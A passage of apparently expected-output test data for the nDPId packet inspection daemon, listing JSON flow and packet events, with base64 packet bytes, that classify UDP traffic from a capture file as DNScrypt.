AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":184,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":946739306241,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"172.104.93.80","src_port":56902,"dst_port":1443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":185,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":241945,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ+mQAub0ROAoKAAABrGhdUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":185,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00850{"flow_id":73,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":433658,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":361,"pkt_l4_len":327,"pkt":"ZmZmZmZmRERERERECABFAAFbc7kAADgRQ2SsaF1QCgAAAQWjwWgBRx3ktDmBgAABAAIAAAAAATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABwAwAEAABAAAAAAB9fEROU0MAAgAARetMpee6oZgp6bqFLigcb0SLVmyPyCbHZR6HuGkwY4G1zZ8bDjrU7\/iD1UD40EN1uvlcdqls0BZMl43HwVwZARZAkJHggho4ekmN0Zb884jA2erV10Cju7fjg6Pz8KRbF0CQkeCCGjhfU2UoX1NlKF9UtqjADAAQAAEAAAAAAH18RE5TQwABAACIFa1N+k0s+4iBtwxUZ\/VXDn6QTrqbz7JAjEb6C42munCjxleQqYGFgM5AgV1cY1L\/xiUTddAkkuTfkcOlN9YEFkCQkeCCGjh6SY3RlvzziMDZ6tXXQKO7t+ODo\/PwpFsWQJCR4IIaOF9TZShfU2UoX1S2qA=="} +00851{"flow_id":77,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":434568,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":361,"pkt_l4_len":327,"pkt":"ZmZmZmZmRERERERECABFAAFbc70AADgRQ2CsaF1QCgAAAQWj6GEBR\/bstDeBgAABAAIAAAAAATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABwAwAEAABAAAAAAB9fEROU0MAAgAARetMpee6oZgp6bqFLigcb0SLVmyPyCbHZR6HuGkwY4G1zZ8bDjrU7\/iD1UD40EN1uvlcdqls0BZMl43HwVwZARZAkJHggho4ekmN0Zb884jA2erV10Cju7fjg6Pz8KRbF0CQkeCCGjhfU2UoX1NlKF9UtqjADAAQAAEAAAAAAH18RE5TQwABAACIFa1N+k0s+4iBtwxUZ\/VXDn6QTrqbz7JAjEb6C42munCjxleQqYGFgM5AgV1cY1L\/xiUTddAkkuTfkcOlN9YEFkCQkeCCGjh6SY3RlvzziMDZ6tXXQKO7t+ODo\/PwpFsWQJCR4IIaOF9TZShfU2UoX1S2qA=="} +00850{"flow_id":74,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":434825,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":361,"pkt_l4_len":327,"pkt":"ZmZmZmZmRERERERECABFAAFbc7oAADgRQ2OsaF1QCgAAAQWjxuEBRxhutDaBgAABAAIAAAAAATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABwAwAEAABAAAAAAB9fEROU0MAAgAARetMpee6oZgp6bqFLigcb0SLVmyPyCbHZR6HuGkwY4G1zZ8bDjrU7\/iD1UD40EN1uvlcdqls0BZMl43HwVwZARZAkJHggho4ekmN0Zb884jA2erV10Cju7fjg6Pz8KRbF0CQkeCCGjhfU2UoX1NlKF9UtqjADAAQAAEAAAAAAH18RE5TQwABAACIFa1N+k0s+4iBtwxUZ\/VXDn6QTrqbz7JAjEb6C42munCjxleQqYGFgM5AgV1cY1L\/xiUTddAkkuTfkcOlN9YEFkCQkeCCGjh6SY3RlvzziMDZ6tXXQKO7t+ODo\/PwpFsWQJCR4IIaOF9TZShfU2UoX1S2qA=="} +00850{"flow_id":78,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":435017,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":361,"pkt_l4_len":327,"pkt":"ZmZmZmZmRERERERECABFAAFbc74AADgRQ1+saF1QCgAAAQWj3kYBRwEHtDiBgAABAAIAAAAAATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABwAwAEAABAAAAAAB9fEROU0MAAgAARetMpee6oZgp6bqFLigcb0SLVmyPyCbHZR6HuGkwY4G1zZ8bDjrU7\/iD1UD40EN1uvlcdqls0BZMl43HwVwZARZAkJHggho4ekmN0Zb884jA2erV10Cju7fjg6Pz8KRbF0CQkeCCGjhfU2UoX1NlKF9UtqjADAAQAAEAAAAAAH18RE5TQwABAACIFa1N+k0s+4iBtwxUZ\/VXDn6QTrqbz7JAjEb6C42munCjxleQqYGFgM5AgV1cY1L\/xiUTddAkkuTfkcOlN9YEFkCQkeCCGjh6SY3RlvzziMDZ6tXXQKO7t+ODo\/PwpFsWQJCR4IIaOF9TZShfU2UoX1S2qA=="} +00850{"flow_id":76,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":435542,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":361,"pkt_l4_len":327,"pkt":"ZmZmZmZmRERERERECABFAAFbc7wAADgRQ2GsaF1QCgAAAQWjlYsBR0nFtDWBgAABAAIAAAAAATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABwAwAEAABAAAAAAB9fEROU0MAAgAARetMpee6oZgp6bqFLigcb0SLVmyPyCbHZR6HuGkwY4G1zZ8bDjrU7\/iD1UD40EN1uvlcdqls0BZMl43HwVwZARZAkJHggho4ekmN0Zb884jA2erV10Cju7fjg6Pz8KRbF0CQkeCCGjhfU2UoX1NlKF9UtqjADAAQAAEAAAAAAH18RE5TQwABAACIFa1N+k0s+4iBtwxUZ\/VXDn6QTrqbz7JAjEb6C42munCjxleQqYGFgM5AgV1cY1L\/xiUTddAkkuTfkcOlN9YEFkCQkeCCGjh6SY3RlvzziMDZ6tXXQKO7t+ODo\/PwpFsWQJCR4IIaOF9TZShfU2UoX1S2qA=="} +00850{"flow_id":75,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739306,"pkt_ts_usec":435760,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":361,"pkt_l4_len":327,"pkt":"ZmZmZmZmRERERERECABFAAFbc7sAADcRRGKsaF1QCgAAAQWjo0gBRzwJtDSBgAABAAIAAAAAATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABwAwAEAABAAAAAAB9fEROU0MAAgAARetMpee6oZgp6bqFLigcb0SLVmyPyCbHZR6HuGkwY4G1zZ8bDjrU7\/iD1UD40EN1uvlcdqls0BZMl43HwVwZARZAkJHggho4ekmN0Zb884jA2erV10Cju7fjg6Pz8KRbF0CQkeCCGjhfU2UoX1NlKF9UtqjADAAQAAEAAAAAAH18RE5TQwABAACIFa1N+k0s+4iBtwxUZ\/VXDn6QTrqbz7JAjEb6C42munCjxleQqYGFgM5AgV1cY1L\/xiUTddAkkuTfkcOlN9YEFkCQkeCCGjh6SY3RlvzziMDZ6tXXQKO7t+ODo\/PwpFsWQJCR4IIaOF9TZShfU2UoX1S2qA=="} +00503{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":192,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":43748,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":192,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":53299,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":192,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":57395,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":192,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":49518,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":192,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":38349,"dst_port":553,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":153416,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIctEJAAL0RBKQKAAABzbl0dJXNAikCCAUEnScBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":192,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":38349,"dst_port":553,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":193,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":38879,"dst_port":553,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":153426,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIctENAAL0RBKMKAAABzbl0dJffAikCCAUEnSsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":193,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":38879,"dst_port":553,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":194,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":43528,"dst_port":553,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":81,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":153446,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIctERAAL0RBKIKAAABzbl0dKoIAikCCAUEnSkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":194,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":43528,"dst_port":553,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":195,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":51770,"dst_port":553,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":153524,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXctEUgAL0RIOEKAAABzbl0dMo6AikGBP1vnSoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":195,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":51770,"dst_port":553,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":196,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":946739311153,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":38278,"dst_port":553,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739311,"pkt_ts_usec":153527,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXctEYgAL0RIOAKAAABzbl0dJWGAikGBDIonSYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA